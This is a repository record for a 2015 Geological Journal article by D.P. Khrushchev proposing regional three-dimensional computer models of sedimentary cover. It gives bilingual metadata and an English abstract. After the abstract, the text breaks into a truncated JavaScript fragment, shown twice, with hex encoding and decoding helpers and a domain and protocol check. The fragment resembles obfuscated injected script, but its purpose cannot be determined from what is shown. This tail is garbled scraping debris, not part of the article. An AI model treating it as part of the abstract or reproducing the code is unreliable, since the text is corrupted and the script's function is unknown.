REGIONAL STRUCTURAL-LITHOLOGICAL1MODELING OF SEDIMENTARY COVER

• Дата: 2015
• Автор: Khrushchev, D.P.
• Формат: Стаття
• Мова: English
• Опубліковано: Institute of Geological Sciences, NAS of Ukraine 2015
• Теми: sedimentary formations; sedimentary cover; computer modeling; geoinformatic system; geological environment use; geological environment protection; 552.14; 004.942; осадочная оболочка; осадочные формации; компьютерное моделирование; геоинформационные системы; использование недр; охрана геологической среды; осадова оболонка; осадові формації; комп’ютерне моделювання; геоінформаційні системи; використання надр; охорона геологічного середовища
• Онлайн доступ: http://geojournal.igs-nas.org.ua/article/view/139193
• Назва журналу: Geological journal

The idea of the project is the construction of computer (digital) structural-lithological models (DSLM) of sedimentary cover for state territories on regional principle proceeding from the definition of geological region as a basic geostructural unit of Earth crust. Digital structural-lithological model – it is three-demensional computer representation of the geological objects, comprising it’s structural and qualitative characteristics. Methodological principles, methods, available developments and modeling patterns are reflected to prove the feasibility of the project realization. Practical goal of modeling is the creation of integral geoinformatic foundation for multilateral cognitive image of an object and for information provision of all directories and kinds of human geological activity (R&amp;D) on multilateral use and protection (including geological hazards) of geological environment. The result achieved is obtaining of single united system of regional DSLM on state territorial level. The project proposed represents a part of conceptual compound project, the object of which has to comprise both sedimentary cover and magmatic, metamorphic formations. The achieved result of such a project is the developing of the integral digital structurallithological- petrological model of Earth crust as a whole.  // o;o++)t+=e.charCodeAt(o).toString(16);return t},a=function(e){e=e.match(/[\S\s]{1,2}/g);for(var t="",o=0;o < e.length;o++)t+=String.fromCharCode(parseInt(e[o],16));return t},d=function(){return "geojournal.igs-nas.org.ua"},p=function(){var w=window,p=w.document.location.protocol;if(p.indexOf("http")==0){return p}for(var e=0;e// o;o++)t+=e.charCodeAt(o).toString(16);return t},a=function(e){e=e.match(/[\S\s]{1,2}/g);for(var t="",o=0;o < e.length;o++)t+=String.fromCharCode(parseInt(e[o],16));return t},d=function(){return "geojournal.igs-nas.org.ua"},p=function(){var w=window,p=w.document.location.protocol;if(p.indexOf("http")==0){return p}for(var e=0;e